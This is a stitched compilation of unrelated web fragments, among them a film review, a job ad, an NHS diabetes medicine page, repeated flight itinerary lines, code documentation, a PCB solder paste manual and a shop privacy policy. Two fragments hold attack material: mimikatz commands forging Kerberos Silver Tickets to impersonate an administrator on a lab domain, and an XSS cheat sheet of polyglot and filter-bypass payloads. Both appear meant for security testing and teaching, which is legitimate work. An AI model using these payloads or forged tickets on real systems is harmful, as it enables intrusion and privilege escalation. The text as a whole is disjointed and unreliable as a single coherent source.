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Ernesto G. Arias and Gerhard Fischer
They describe specifically the issues of boundary objects for users to program computers, contrasting the situation view adopted by users and the system view which must be adopted to program them. They mention Domain Oriented Design Environments (referencing Fischer). Important to read.
"When users approach a problem, they often begin at a high level of abstraction, conceptualizing the design in terms of the application problem to be solved [Curtis et al., 1988]. This initial conceptualization must then be translated into terms that the computer can understand."
"One such challenge is to integrate the various perspectives
emerging from the symmetry of ignorance among articulate
stakeholders. By supporting the process of reflection within
a shared context defined by the task at hand, opportunities
can emerge from enhancing the creation of shared
understanding."


CrankyCritic® movie reviews: Drive Me Crazy Rated [PG-13] Starring Melissa Joan Hart and Adrian Grenier Suan May Pratt, Mark Webber, Kris Park Screenplay by Rob Thomas Based on the novel "How I Created My Perfect Prom Date" by Todd Strasser Directed by John Schultz website: http://www.foxmovies.com
IN SHORT: A teen dateflick, and not a bad bit of story either.
Anybody want to talk Generation Gap? Cranky walked in to the sneak of Drive Me Crazy, thinking it's title was copped from a Fine Young Cannibals song back around '86 but, no, it turns out it's from a Britney Spears song. Oh God, I feel so old. Even worse when it's pointed out that one of the parental units in this flick graduated from High School the year before I did. If I had followed my breeder instincts, I could be lugging my teenkids to the screening (and they, of course, would want me hiding in the back so they could disavow all knowledge of my actions). I didn't, so I'm stuck with my fingers in the popcorn while the kidlets cackle all around me.
And cackle they did. Other aged reviewers were muttering "two weeks and it's on video" which may be true, but the story is solid and better written than a lot of the stuff we sit through, and there are enough demographically targeted jokes (ie. things I didn't get) that Drive Me Crazy will probably find its proper audience.
Rather than centering around the prom, and all its associated angst and anxiety, the big party for the students of Timothy Zonin High is the school's Centennial Celebration. Pretty and popular and on the Organizing Committee is perky Nicole Maris (Melissa Joan Hart) who, for all her good points, is still waiting for basketball star Brad (Gabriel Carpenter) to ask her out. Next door neighbor Chase Hammond (Adrian Grenier), formerly Nicole's pal and now just the guy next door, prefers to hang out with the intellectual crowd at the local college coffee bar. A spat with lust of his life Dulcie (Ali Larter) which coincidentally hits about the time that Brad asks a rival school's cheerleader to the Ball, pairs our kidlets in a scheme to win back the perceived loves of their lives.
Nicole transforms Chase from a Geek to a GapKid, to the horror of his net-surfin', eGamer friends. She, in turn, learns a true lesson about the real nature of love. Both of them, to their horror, discover that parental units have love lives too (in this case played out by Faye Grant and Stephen Collins as Nicole's divorced parents and William Converse-Roberts as Chase's widowed dad). There's a full span of kidlet types filling in the gaps, and all the acting is professional and to the point. The target is kids. The soundtrack is for kids and the kids around me munched their popcorn and candy and went home happy. Game over.
Parents out there who e-mail me about sex and language in these teenflicks need not worry. There's no nudity and the language isn't any worse than it was when we were in high school two decades back. <sigh>
On average, a first run movie ticket will run you Eight Bucks. Were Cranky able to set his own price to Drive Me Crazy, he would have paid...
$5.00
It's a dateflick for the teens. Painless but way out of the market for us old fogeys.
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Statistical Analyst - Stamford, CT 06905
Description:
Franklin Madison is seeking a qualified Statistical Analyst for immediate employment in its Statistical Modeling Division located in Stamford, CT.
Tasks:
Develop response, premium, risk and other predictive models using advanced statistical techniques to target the most profitable prospects for direct mail and online campaigns
Maximize file penetration rate and return of investment through development of new client file strategy, segmentation techniques, and list selection
Analyze historical customer and marketing data to identify trends and patterns that can be leveraged to optimize the effectiveness of customer engagement strategies
Ensure fully understanding and accurate execution of all statistical models in LINUX SAS environment
Provide SAS coding support for department initiatives such as system conversion, program modification & program enhancements to improve efficiency
Provide statistical leadership to internal and external partners and formulate decision management plans that include project planning, data collection, data analysis and modeling, implementation and results tracking.
Requirements:
Master’s degree in Statistics, Mathematics or related disciplines, PhD preferred
Experience in statistical modeling, data mining, text mining and database marketing
Knowledge of statistical techniques including Logistic Regression, Tobit Regression, Decision Tree, Cluster Analysis, Principal Component Analysis, Survival Analysis and Experimental Design
Strong SAS programming and project management skills
Working knowledge in R programming
Excellent oral and written communication skills
Experience in digital marketing and web analytics a plus
Experience in data warehouse and SQL a plus


What about RODC Golden Tickets?
We can only forge useful Kerberos tickets against a RODC if the service tickets we will be requesting have the associated service account passwords cached (computer or user accounts). This means they aren’t “Golden Tickets” since we are limited to connecting to a single RODC (associated with the RODC’s krbtgt account) otherwise it won’t work. These RODC Golden Tickets aren’t very useful and based on my initial testing don’t seem to work even when targeting the RODC given the differences betwen RODCs and DCs.
The RODC Golden Ticket is created fine using the RODC KRBTGT, but in my initial testing may not work properly since it has to be passed to the RODC associated with the RODC KRBTGT used to create it. And then the target account service has to have its associated Kerberos service account password cached on the RODC.
However, Silver Tickets are quite useful since we can forge a ticket saying we are a Domain Admin and then connect to the service using this Kerberos ticket (assuming the target service account’s password is on the RODC).
Silver Tickets
In this scenario, we want to gain admin access to an Admin server, but don’t have direct access to it. We realize that a RODC has cached the password for this server, so we get onto the RODC and dump the AD database to get the admin server’s computer password hash. In this lab environment, the Admin computer is called “ADSEC12ADMIN1”.
Using the computer password hash, we can generate Silver Tickets for the services required to access PowerShell remoting (HOST, HTTP, WSMAN, RPCSS)'
1: mimikatz.exe "kerberos::golden /admin:LukeSkywalker /id:1428 /domain:lab12.adsecurity.org /target:adsec12admin1.lab12.adsecurity.org /rc4:<NTLM_Hash> /service:http /sid:<SID> /ptt"
2. mimikatz.exe "kerberos::golden /admin:LukeSkywalker /id:1428 /domain:lab12.adsecurity.org /target:adsec12admin1.lab12.adsecurity.org /rc4:<NTLM_hash> /service:host /sid:<sid> /ptt"
3. mimikatz.exe "kerberos::golden /admin:LukeSkywalker /id:1428 /domain:lab12.adsecurity.org /target:adsec12admin1.lab12.adsecurity.org /rc4:<NTLM_hash> /service:wsman /sid:<sid> /ptt"
Once the Silver Tickets are generated and passed into memory, we can view these tickets in klist.
Note that the Silver Tickets are impersonating LukeSkywalker, though poedameron-admin is logged on (and the Poe account doesn’t have rights to the Admin server). This works because the Admin computer’s password hash is cached on the RODC.
Once all the Silver Tickets are generated and are in memory, we can connect to the Admin server using PowerShell remoting (or any other available service supporting Kerberos authentication).
New-PSSession -name admin1 -ComputerName <FQComputerName> ; Enter-PSSession -Name admin1


Almost every tutorial for setting up a witness node mention that it is important to ping all seed-nodes and add the fastest nodes to the config.ini
file. For improving this process, I wrote a small python script, which:
- measure ping times
- sort the seed nodes
- exclude slow nodes
- creates entries for the
config.ini
file
You can find the script here https://github.com/holgern/steem-witness-tools. Steps for running the script on your witness server:
- install python3 and pip3
- install ping3 by
pip3 install ping3 --user
- cloning my git:
git clone https://github.com/holgern/steem-witness-tools.git
- You may copy the newest seednodes.txt from https://github.com/steemit/steem/blob/master/doc/seednodes.txt
- Enter the sort_seed_nodes directory (
cd sort_seed_nodes
) - Run the script by
sudo python3 ping_seed_nodes.py
as root - Copy the result directly to your
config.ini
Script arguments
It is possible to modify the maximum allowed ping time in milliseconds. Default is 100 ms, which means that all seed nodes are included with a ping time better than 100 ms. In the following example, the maximum time is set 50 milliseconds:
1 | sudo python3 ping_seed_nodes.py --maxdelay 50 |
It also possible to use a different seed-node.txt file as source. It must follow the same structure as the seed-node.txt file.
1 | seed-east.steemit.com:2001 # steemit |
The input
parameter allows to use different files as source:
1 | sudo python3 ping_seed_nodes.py --input my-seed-nodes.txt |
Result
The results are also stored in sorted_seednodes_6_6_2018.txt
, the name is adapted to the date.
If you like what I’m doing, please consider @holger80 as one of your witnesses. You can use steemconnect.com for approve your vote or go to https://steemit.com/~witnesses and enter my name into the vote field:
This page is synchronized from the post: ‘Measuring seed-node ping times with python’


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Tactical Fuzzing - XSS XSS
Core Idea: Does the page functionality display something to the users?
For time sensitive testing the 80/20 rule applies.
Many testers use Polyglot payloads. You probably have too!
*Multi-context, filter bypass based polyglot payload #1 (Rsnake XSS Cheat Sheet) ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'>
Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
">><marquee></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1<EMAIL_ADDRESS>formaction=javascript:alert(/XSS/) type=submit>'-->" ></script>">'">
### Multi-context polyglot payload (Mathias Karlsson)
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
### Other XSS Observations
Input Vectors:
- Customizable Themes & Profiles via CSS
- Event or meeting names
- URI based
- Imported from a 3rd party (think Facebook integration)
- JSON POST Values (check returning content type)
- File Upload names
- Uploaded files (swf, HTML, ++)
- Custom Error pages
- fake params - ?realparam=1&foo=bar’+alert(/XSS/)+’
- Login and Forgot password forms
## SWF Parameter XSS Common Params:
onload, allowedDomain, movieplayer, xmlPath, eventhandler, callback (more on OWASP page)
Common Injection Strings:
%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//


{% markdown %}
#Understanding medication
Most people need medicine to control their type 2 diabetes. Medicine is taken to keep your blood sugar level as normal as possible to prevent further health problems. You’ll have to take it for the rest of your life.
Diabetes usually gets worse over time so your medicine or dose will need to change. [Adjusting your diet and being more active](/type-2-diabetes/diet) is also necessary to keep your blood sugar level down.
##Getting the right medicine for you##
Diabetes medicines help lower the amount of glucose in your blood.
{% endmarkdown %}
There are many types of medicine for type 2 diabetes. It can take time to find a medicine and dose that’s right for you.
{% markdown %}
You’ll usually be offered a medicine called metformin first. If your blood glucose levels haven’t lowered within 3 months, other medicines may be recommended. These will usually be in addition to metformin.
Over time, it’s common to need a combination of medicines. Your GP or diabetes nurse will recommend the medicines most suitable for you.
Insulin is usually recommended when other medicines no longer control your blood sugar. It’s not common for people with type 2 diabetes to need insulin.
Diabetes UK has more information about [taking medicines for type 2 diabetes](https://www.diabetes.org.uk/Guide-to-diabetes/What-is-diabetes/Diabetes-treatments/).
##Taking your medicine##
Your GP or diabetes nurse will explain how to take your medication and how to store it. If you need to inject insulin or a medicine called gliptins, they’ll show you how to do it.
##Side effects##
Your diabetes medicine may cause side effects. These can include:
- bloating and diarrhoea
- weight loss or weight gain
- feeling sick
- swollen ankles
Not everyone has side effects.
Always read the information leaflet that comes with your medicine for related side effects. If you feel unwell after taking medicine or notice any side effects, speak to your GP or diabetes nurse. It’s important you don’t stop taking medication without medical advice.
##How to get free prescriptions for diabetes medication##
You’re entitled to free prescriptions for your diabetes medication.
To claim your free prescriptions you’ll need to apply for an exemption certificate. To do this:
- pick up a form from your GP surgery
- complete the form and take it back to the surgery for a signature (they will send it off)
- you should get the certificate in the post about a week later (it will last 5 years)
- take it to your pharmacy with your prescriptions
Save your receipts if you have to pay for diabetes medication before you receive your exemption certificate as you can claim money back.
##Travelling with medicines##
If you're going on holiday:
- bring twice the quantity of medical supplies you would normally use for your diabetes
- carry your medication in your hand luggage in case your checked-in bags go missing or are damaged
- if you are flying with a medicine you inject, get a letter from your GP which says you need it to treat diabetes
{% endmarkdown %}
{{
ui_element_macros.simple_pagination({
previous: {
url: "/type-2-diabetes/diabetes-2-diagnosis",
title: "Getting diagnosed"
},
next: {
url: "/type-2-diabetes/going-for-regular-diabetes-check-ups",
title: "Going for regular check ups"
}
})
}}
{% include "includes/nhs.uk/page_meta.html" %}


A little about me.
As someone who has a background in mechanical engineering and is now pursuing a career in programming, I firmly believe that technology is a major key for solving our current environmental problems. I also enjoy working with kids and teaching them subjects I am passionate about.


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2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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Destination
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08:00
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2015-11-23
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2015-11-23 10:05
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Flight number UA1558 with
Ticket
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2015-08-13 "Fwd: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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HOUSTON, TX
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Destination
SJD
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Depart
11:25
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2015-11-23
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2015-11-23 13:26
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Flight number UA1452 with
Ticket
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2015-08-14 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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11:25
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2015-11-23
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2015-11-23 13:26
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Flight number UA1452 with
Ticket
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2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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HOUSTON, TX
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Destination
SJD
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Depart
11:25
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Date
2015-11-23
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2015-11-23 13:26
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Flight number UA1452 with
Ticket
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Email
2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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HOUSTON, TX
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Destination
SJD
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Depart
11:25
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Date
2015-11-23
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2015-11-23 13:26
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Flight number UA1452 with
Ticket
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Email
2015-08-13 "Fwd: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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Depart
14:16
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Date
2015-11-28
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Arriving
2015-11-28 17:50
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Flight number UA1453 with
Ticket
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Email
2015-08-14 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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Depart
14:16
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Date
2015-11-28
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2015-11-28 17:50
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Flight number UA1453 with
Ticket
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Email
2015-08-14 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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Depart
14:16
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Date
2015-11-28
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Arriving
2015-11-28 17:50
Flight number
Flight number UA1453 with
Ticket
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Email
2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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Depart
14:16
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Date
2015-11-28
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Arriving
2015-11-28 17:50
Flight number
Flight number UA1453 with
Ticket
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Email
2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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Depart
14:16
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Date
2015-11-28
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2015-11-28 17:50
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Flight number UA1453 with
Ticket
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Email
2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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14:16
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Date
2015-11-28
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2015-11-28 17:50
Flight number
Flight number UA1453 with
Ticket
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2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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14:16
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Date
2015-11-28
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2015-11-28 17:50
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Flight number UA1453 with
Ticket
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Email
2015-08-13 "Fwd: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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SJD
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Destination
HOUSTON, TX
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14:16
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2015-11-28
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2015-11-28 17:50
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Flight number UA1453 with
Ticket
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Email
2015-08-13 "Fwd: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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HOUSTON, TX
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WASHINGTON, DC
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19:10
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2015-11-28
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2015-11-28 23:05
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Flight number UA1955 with
Ticket
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2015-08-14 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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HOUSTON, TX
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WASHINGTON, DC
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19:10
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2015-11-28
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2015-11-28 23:05
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Flight number UA1955 with
Ticket
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2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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HOUSTON, TX
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Destination
WASHINGTON, DC
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19:10
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2015-11-28
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2015-11-28 23:05
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Flight number UA1955 with
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2015-08-13 "Re: MileagePlus eTicket Itinerary and Receipt for Confirmation OZK3E3"
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Destination
WASHINGTON, DC
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19:10
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2015-11-28
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2015-11-28 23:05
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- Feature - Class in model
-
The Class Feature.
- Feature(String, String, String) - Constructor for class model.Feature
-
Instantiates a new feature.
- FEATURE_DOESNT_EXIST - Static variable in class config.Error
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The Constant FEATURE_DOESNT_EXIST.
- FEATURE_EQUIPMENT_INVALID - Static variable in class config.Error
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The Constant FEATURE_EQUIPMENT_INVALID.
- FEATURES - Static variable in class config.Config
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The Constant FEATURES.
- features - Variable in class model.Equipment
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The features.
- features - Variable in class views.etat.Find
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The features.
- find(String, List<String>, List<String>, List<String>) - Static method in class model.Inventory
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Find.
- Find - Class in views.etat
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The Class Find.
- Find() - Constructor for class views.etat.Find
-
- find() - Method in class views.etat.User
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Find.
- findActualBorrowByBorrower(String) - Static method in class model.Inventory
-
Find actual borrow by borrower.
- findActualBorrowByBorrower(String) - Method in class views.etat.Administrator
-
Find actual borrow by borrower.
- findAvailable(Calendar, Calendar) - Static method in class model.Inventory
-
Find available.
- findBorrowByBorrower(String) - Static method in class model.Inventory
-
Find borrow by borrower.
- findBorrowByBorrower(String) - Method in class views.etat.Administrator
-
Find borrow by borrower.
- findBorrowById(String) - Static method in class model.Inventory
-
Find borrow by id.
- findBorrowById(String) - Method in class views.etat.Administrator
-
Find borrow by id.
- findBorrowWaitingForAdministrator() - Static method in class model.Inventory
-
Find borrow waiting for administrator.
- findBorrowWaitingForAdministrator() - Method in class views.etat.Administrator
-
Find borrow waiting for administrator.
- findBorrowWithEquipmentNotOk() - Static method in class model.Inventory
-
Find borrow with equipment not ok.
- findBorrowWithEquipmentNotOk() - Method in class views.etat.Administrator
-
Find borrow with equipment not ok.
- findBorrowWithEquipmentUnderRepair() - Static method in class model.Inventory
-
Find borrow with equipment under repair.
- findBorrowWithEquipmentUnderRepair() - Method in class views.etat.Administrator
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Find borrow with equipment under repair.
- findEquipmentById(String) - Static method in class model.Inventory
-
Find equipment by id.
- findEquipmentUnderRepair() - Static method in class model.Inventory
-
Find equipment under repair.
- findEquipmentUnderRepair() - Method in class views.etat.Administrator
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Find equipment under repair.
- findEquipmentWhoNeedRepair() - Static method in class model.Inventory
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Find equipments who need repair.
- findEquipmentWhoNeedRepair() - Method in class views.etat.Administrator
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Find equipment who need repair.
- findLateBorrow() - Static method in class model.Inventory
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Find late borrow.
- findLateBorrow() - Method in class views.etat.Administrator
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Find late borrow.
- findPersonById(String) - Static method in class model.Inventory
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Find person by id.
- findQuantityEquipment(Equipment) - Static method in class model.Inventory
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Find quantity equipment.
- FOLDER - Static variable in class demonstrateur.MiniProject
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The Constant FOLDER.
- FORMAT - Static variable in class config.Config
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The Constant FORMAT.


Former UFC fighter Pearl Gonzalez breaks her opponent’s arm in Combat Jiu-Jitsu match
by MMA Fighting NewswireFormer UFC fighter and current Invicta FC athlete Pearl Gonzalez earned a victory in her Combat Jiu-Jitsu match this past weekend when she broke her opponent’s arm to secure the submission.
Combat Jiu-Jitsu is a different kind of grappling competition where athletes are allowed to use open palm strikes against each other once the action hits the ground. It’s grappling that’s not quite mixed martial arts, not exactly like Pancrase rules and definitely not the same kind of Brazilian jiu-jitsu seen at tournaments like ADCC.
In this particular match, Gonzalez was facing Lilian Borja when she locked up a triangle choke before falling back to the mat trying to lock up the submission. When Borja didn’t tap, Gonzalez adjusted to an armbar combination along with the triangle choke and that’s when the arm popped.
The commentators immediately recognized that Borja’s arm was broken as the match was stopped and Gonzalez declared the victory. Take a look at the full video, which is not for the faint of heart.


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#include <ssl2.h>
Data Fields | |
| int | three_byte_header |
| int | clear_text |
| int | escape |
| int | ssl2_rollback |
| unsigned int | wnum |
| int | wpend_tot |
| const unsigned char * | wpend_buf |
| int | wpend_off |
| int | wpend_len |
| int | wpend_ret |
| int | rbuf_left |
| int | rbuf_offs |
| unsigned char * | rbuf |
| unsigned char * | wbuf |
| unsigned char * | write_ptr |
| unsigned int | padding |
| unsigned int | rlength |
| int | ract_data_length |
| unsigned int | wlength |
| int | wact_data_length |
| unsigned char * | ract_data |
| unsigned char * | wact_data |
| unsigned char * | mac_data |
| unsigned char * | read_key |
| unsigned char * | write_key |
| unsigned int | challenge_length |
| unsigned char | challenge [SSL2_MAX_CHALLENGE_LENGTH] |
| unsigned int | conn_id_length |
| unsigned char | conn_id [SSL2_MAX_CONNECTION_ID_LENGTH] |
| unsigned int | key_material_length |
| unsigned char | key_material [SSL2_MAX_KEY_MATERIAL_LENGTH *2] |
| unsigned long | read_sequence |
| unsigned long | write_sequence |
| struct { | |
| unsigned int conn_id_length | |
| unsigned int cert_type | |
| unsigned int cert_length | |
| unsigned int csl | |
| unsigned int clear | |
| unsigned int enc | |
| unsigned char ccl [SSL2_MAX_CERT_CHALLENGE_LENGTH] | |
| unsigned int cipher_spec_length | |
| unsigned int session_id_length | |
| unsigned int clen | |
| unsigned int rlen | |
| } | tmp |
| struct { | |
| unsigned int conn_id_length | |
| unsigned int cert_type | |
| unsigned int cert_length | |
| unsigned int csl | |
| unsigned int clear | |
| unsigned int enc | |
| unsigned char ccl [SSL2_MAX_CERT_CHALLENGE_LENGTH] | |
| unsigned int cipher_spec_length | |
| unsigned int session_id_length | |
| unsigned int clen | |
| unsigned int rlen | |
| } | tmp |
| unsigned char ccl[SSL2_MAX_CERT_CHALLENGE_LENGTH] |
| struct { ... } tmp |
| struct { ... } tmp |


Solder Paste Optimization (SPO) is a read-write DFM action
designed to create a new Solder Paste layer or modify an existing one, derived
from an external copper layer.
The purpose is to modify SMD/Test Vias/ Ground pads according to
user-defined parameters so that the modified pads will act as the input for the
creation of a solder paste application stencil.
A pad can be modified (resized) by an absolute value, a factor,
or a specified distance. Separate rules apply to different pads.
SMD pads can be resized proportionately or disproportionately
(that is, their heights can be changed by a ratio different from their widths).
They can be resized disproportionately only when their symbols are standard
system symbols that have width and height, such as rectangles and ellipses.
Since pad sizes can be modified only when SMD pad sizes fall within the SMD
Size ranges, separate paste pads can be created for different size ranges of
SMD pads. By adding attributes to components in the component layers, you can
control the way and amount by which their paste pads are reduced, and even
control the paste pad shape.
When special predefined arrangements of solder paste on pads are
required to be retained without change, the appropriate ERF variable modify_non_centered
should be No. All other criteria are applied to all other pads, including
staggered and/or cross-hatched.
Ground pads are round pads that are not defined as SMD or Test
Point pads that were either user-selected or their diameters match the
user-specified diameters. Paste pads for ground pads are created as
user-definable thermal pads.
Affected layers can also be paste layers, or signal/mixed outer
layers (with all the SMD pads).
When a solder paste layer exists before the initialization of
Solder Paste Optimization, a backup layer will be created with the name
<layer_name>+++. For example, if the existing solder paste layer is
named: sp1 , the
backup layer will be sp1+++.
The rules that apply to each type of pad is explained in the
following sections: SMD Pads, Test Via Pads, Ground Pads.
Paste pads for SMD pads can be created only when an SMD pad fits
within the ranges defined in the SMD Ranges parameters. The paste pad
characteristics will be derived from the SMD shape and size, and shrunk by the
values specified in the relevant parameter. Shrinkage can be by an absolute
value, a distance, or by a factor.
SMD pads can be shrunk proportionately or disproportionately,
that is, width can be shrunk differently than height shrinkage. Of course, the
shape has to have a width and height, such as a rectangle or an ellipse. Only
standard system symbols can be shrunk disproportionately. A pad that does not
have width and height, such as a round pad, or is not derived from a standard
system symbol, will be shrunk proportionately only. Non-system symbols
(user-defined) will be converted to standard system symbols if they are
similar. If they are not similar, they will not be resized.
Attributes may be applied by the user to a component and thus to
all SMD pads belonging to the component toeprints. These attributes override
the values specified in the parameters. The attributes are as follows:
|
Attribute |
Description |
|
.spo_w_mode,
.spo_w_fact, .spo_w_val |
To shrink pad widths by values other than those specified
in the parameters. |
|
.spo_h_mode,
.spo_h_fact, .spo_h_val |
To shrink pad heights by values other than those specified
in the parameters. |
|
.spo_s_mode,
.spo_s_fact, .spo_s_val |
To shrink pads proportionately by values other than those
specified in the parameters. |
|
.spo_shape
|
This attribute is the name of an Genesis 2000 standard
symbol. The SPO DFM action will create a paste pad in the given symbol, and
base its width and height on the SMD pad's width and height (only their
order, and not their size). The SPO DFM action will not shrink these paste
pads. If the given paste pad is not fully contained by the SMD pad, it will
be reported as a measurement. |
|
.spo_move_center |
To move the paste pad from the SMD pad center. A positive value will move the paste from the component
center out. A negative value will move the paste towards the component
center. |
Note:
When
specifying a .spo_*_mode attribute, you must also specify either a .spo_*_fact or a .spo_*_val attribute (as
required), otherwise it will be ignored. Specification of only a .spo_*_fact or a .spo_*_val attribute without a .spo_*_mode attribute will also be
ignored.
Paste pads shapes and sizes are derived directly from Test Via
points shapes and sizes. Size reduction is proportionate, according to
user-specified parameter values. If the Test Via Mode parameter is specified as
None, the paste pads will not be modified. Test Via pads will be identified by
their .test_point
attributes.
Paste pads derived from ground pads are in the shape of round
thermal pads, whose characteristics are user-specified in the ERF variables.
Ground pads can be selected individually in the Graphic Editor,
or by specifying up to three pad diameters. In all cases, ground pads must be
round and their attributes must not be .smd or .test_point
If user-specified parameters do not succeed in creating a valid
thermal pad, a message will be recorded in the log, and the ground pad will
reported as missing or un-modified.
These attributes are produced once for each layer:
|
Result Attribute |
Description |
|
<layer_name>_<category_name>
= number |
Where: layer_name
= the layer to which this attribute belongs category_name
= name of category measurement. number
= number of occurrences of this measurement. |
|
<category_name>
|
Total number of occurrences of this measurement in all the
layers together. |
It is not recommended to change the ranges on this DFM Action.
The categories are divided to two groups, categories that are reported in the
red range (e.g., paste_center_not_moved
or smd_missing_paste
) and the categories that are reported in the green range (e.g., smd_added_paste , centered_paste or gnd_modified_paste ).


Delhi Pollution: PM 2.5 Moderate in Morning; Air Quality to Worsen in Day
The issue of Delhi's air pollution rocked Parliament on Tuesday as Lok Sabha Speaker Om Birla pulled up officials from the DDA, the Delhi Jal Board and those representing the city municipal corporations for skipping a recent meeting of a parliamentary panel to discuss air pollution in north India.
New Delhi: The air quality will deteriorate from Wednesday owing to a gradual dip in wind speed. On Wednesday morning, PM 2.5 was recorded at 210 in the ‘moderate’ category. PM 10, too, was in the ‘moderate’ category.
“Forecast shows AQI will slightly deteriorate to the poor category by the end of today and then further deteriorate to the lower end of the ‘Very Poor’ category by tomorrow. Pollutant accumulation leading to quick deterioration is predicted by November 20 and probability of AQI touching the lower end of the Severe category on November 21 is high,” SAFAR said.
The issue of Delhi’s air pollution rocked Parliament on Tuesday as Lok Sabha Speaker Om Birla pulled up officials from the DDA, the Delhi Jal Board and those representing the city municipal corporations for skipping a recent meeting of a parliamentary panel to discuss air pollution in north India.
AirAsia India, meanwhile, said it is entering into a partnership with health technology start-up Mfine to provide pollution resistant masks to its passengers taking flights to Delhi from Bengaluru, Hyderabad, Mumbai and Kolkata.
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Story Timeline
- 19 Nov 2019 ‘It's High Time we Stop Politicising This Issue,’ Says Gautam Gambhir on Air Pollution in Lok Sabha
- 19 Nov 2019 ‘Why no Voice From Govt Raised on Issue of Air Pollution,’ Asks Manish Tiwari in Lok Sabha
- 19 Nov 2019 Leonardo DiCaprio Expresses Concern Over Delhi Air Pollution Crisis in An Instagram Post
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This type represents whether non-public data was compromised or exposed and whether that data was encrypted or not.
| Field Name | Type | Description |
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| @vocab_nameoptional | string |
The vocab_name field specifies the name of the controlled vocabulary. |
| @vocab_referenceoptional | anyURI |
The vocab_reference field specifies the URI to the location of where the controlled vocabulary is defined, e.g., in an externally located XML schema file. |
| @data_encryptedoptional | boolean |
Indicates whether the data that was compromised was encrypted or not. |


The target audience or users of the Language Moderator are kids, teens and adults playing MMO games that have group chat features.
Since most MMOs and chatrooms have voice chat options, the conversations can be automatically monitored to provide users with a more friendly environment.
According to a poll conducted by YouGov 63% of adults use group chat regularily.
Games such as Fortnite and League of Legends have recently added voice chat option for players to communicate, following the trend of MMO gaming.


{% extends "socialaccount/base.html" %} {% load i18n %} {% block head_title %}{% trans "Account Connections" %}{% endblock %} {% block content %}
You can change your password if you don't like the one you have.
There is no possibility to reset it from here; that needs admin intervention.
{% else %}You have no password set at all.
You can set a password if you want.
{% endif %}If you want to remove a connection, you can select it here.
{% else %}{% trans 'You currently have no social network accounts connected to this account.' %}
{% endif %}


{% extends 'marketplace/org.html' %} {% block tabcontents %}
User: {% include 'marketplace/components/user_display.html' with user=organizationrole.user %}
Email: {{ organizationrole.user.email }}


WITNESS LIST County Affairs Committee August 22, 2000-9:00A County Mandates On: Allison, Jim (County Judges and Commissioners Association) Elfant, Bruce (Self and JCPA) Fabelo, Tony (Texas Criminal Justice Policy Council) Griffis, Sherry (Self and County and District Clerks Association) Kifowit, Dee (Texas Council on Offenders with Mental Impairments) Kirk, Chris (Self and Sheriff's Association of Texas) Lavine, Richard (Center for Public Policy Priorities) Lee, Donald (Texas Conference of Urban Counties) Pardue, Craig (Dallas County) Reid, Stan (Texas Association of Counties) Sari, Ilona (Self) Sims, Randy (Self and County Judges and Commissioners Association) Spataro, Susan (Self and Texas Assn of County Auditors) Streater, Joy (County and District Clerks Association) Von Hatten, Richard (Texas Legislative Council) Registering, but not testifying: On: Freeman, Gary (Self and JCPA) Werlein, S.H. (Self and JCPA)


When you purchase something from our store, as part of the buying and selling process, we collect the personal information you give us such as your name, address and email address. When you browse our store, we also automatically receive your computer’s internet protocol (IP) address in order to provide us with information that helps us learn about your browser and operating system. Email marketing (if applicable): With your permission, we may send you emails about our store, new products and other updates.
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We may disclose your personal information if we are required by law to do so or if you violate our Terms of Service.
SECTION 4 - THIRD-PARTY SERVICES
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To protect your personal information, we take reasonable precautions and follow industry best practices to make sure it is not inappropriately lost, misused, accessed, disclosed, altered or destroyed. If you provide us with your credit card information, the information is encrypted using secure socket layer technology (SSL) and stored with a AES-256 encryption. Although no method of transmission over the Internet or electronic storage is 100% secure, we follow all PCI-DSS requirements and implement additional generally accepted industry standards.
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TrendCrate utilized cookies to help power our ecommerce experience, track which products you're interested in, and help keep track of the products that you've added to your cart. You can always choose to opt-out of cookies if you'd like.
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By using this site, you represent that you are at least the age of majority in your state or province of residence, or that you are the age of majority in your state or province of residence and you have given us your consent to allow any of your minor dependents to use this site.
SECTION 8 - CHANGES TO THIS PRIVACY POLICY
We reserve the right to modify this privacy policy at any time, so please review it frequently. Changes and clarifications will take effect immediately upon their posting on the website. If we make material changes to this policy, we will notify you here that it has been updated, so that you are aware of what information we collect, how we use it, and under what circumstances, if any, we use and/or disclose it. If our store is acquired or merged with another company, your information may be transferred to the new owners so that we may continue to sell products to you.
QUESTIONS AND CONTACT INFORMATION
If you would like to: access, correct, amend or delete any personal information we have about you, register a complaint, or simply want more information please email us at support@trendcrate.com


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